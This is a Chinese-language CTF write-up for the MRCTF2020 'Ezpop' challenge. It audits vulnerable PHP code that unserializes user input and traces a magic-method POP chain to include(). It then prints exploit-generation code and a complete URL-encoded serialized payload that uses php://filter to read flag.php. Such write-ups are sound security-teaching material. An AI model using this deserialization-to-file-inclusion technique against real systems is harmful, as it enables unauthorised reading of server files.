Noting of [MRCTF2020]Ezpop

这个链子有够长的

概述

主要考察:

  1. 反序列化魔术方法
  2. 文件包含伪协议

这两部分可以找反序列化笔记和文件包含笔记

代码审计

代码不长直接贴出来

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
<?php
//flag is in flag.php
class Modifier {
protected $var;
public function append($value){
include($value);
}
public function __invoke(){
$this->append($this->var);
}
}

class Show{
public $source;
public $str;
public function __construct($file='index.php'){
$this->source = $file;
echo 'Welcome to '.$this->source."<br>";
}
public function __toString(){
return $this->str->source;
}

public function __wakeup(){
if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
echo "hacker";
$this->source = "index.php";
}
}
}

class Test{
public $p;
public function __construct(){
$this->p = array();
}

public function __get($key){
$function = $this->p;
return $function();
}
}

if(isset($_GET['pop'])){
@unserialize($_GET['pop']);
}
else{
$a=new Show;
highlight_file(__FILE__);
}

开头提示给了flag在flag.php中, 所以要想办法读取他.
大概看了一遍, 发现个Modifier.append()里面有个include(), 要想办法调用它. 而在同个类中定义了魔术方法__invoke()会调用append(). 要想调用__invoke(), 就要把对象当成是函数进行调用.

分析到这里先断开, 因为我们还不知道到底有啥办法开始函数链的调用.

代码里面只有一行@unserialize($_GET['pop']);, 要想在反序列化后进行更多操作, 估计是需要一个__wakeup()的, 而类Show是定义了__wakeup(), 而这个__wakeup()中只存在一个调用$this->source = "index.php";, 这是一个对字符串的操作, 可以马上想到__toString()

而类Show中同样有__toString(), 继续看下去, __toString()里依然只有一个调用return $this->str->source;
这里可以调用一个变量, 要想到__get(), 刚好类Test中有__get(), 而这个__get()就提供了一个函数调用的入口.

到了这里我们就找到了一个调用链:

@unserialize($_GET['pop']) -> Show.__wakeup() -> Show.__toString() -> Test.__get() -> Modifier.__invoke() -> Modifier.appen() -> include()

payload构造

我们跟着调用链一步一步构造即可, 这里还需要注意一下, 因为是要包含一个php文件, 直接包含会直接执行, 那么里面的变量就看不到了, 要用php:\\filter讲文件base64编码再包含进来.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php
class Show{
public $source;
public $str = 'ftp';
}
class Modifier{
protected $var = 'php://filter/read=convert.base64-encode/resource=./flag.php';
}
class Test{
public $p;
}
$a = new Show;
$b = new Show;
$c = new Test;
$d = new Modifier;
$c->p = $d;
$b->str = $c;
$a->source = $b;
echo urlencode(serialize($a));

得到payload:

1
O%3A4%3A%22Show%22%3A2%3A%7Bs%3A6%3A%22source%22%3BO%3A4%3A%22Show%22%3A2%3A%7Bs%3A6%3A%22source%22%3BN%3Bs%3A3%3A%22str%22%3BO%3A4%3A%22Test%22%3A1%3A%7Bs%3A1%3A%22p%22%3BO%3A8%3A%22Modifier%22%3A1%3A%7Bs%3A6%3A%22%00%2A%00var%22%3Bs%3A59%3A%22php%3A%2F%2Ffilter%2Fread%3Dconvert.base64-encode%2Fresource%3D.%2Fflag.php%22%3B%7D%7D%7Ds%3A3%3A%22str%22%3Bs%3A3%3A%22ftp%22%3B%7D

exp

直接传就完事了. 传完拿到文件后base64解码一下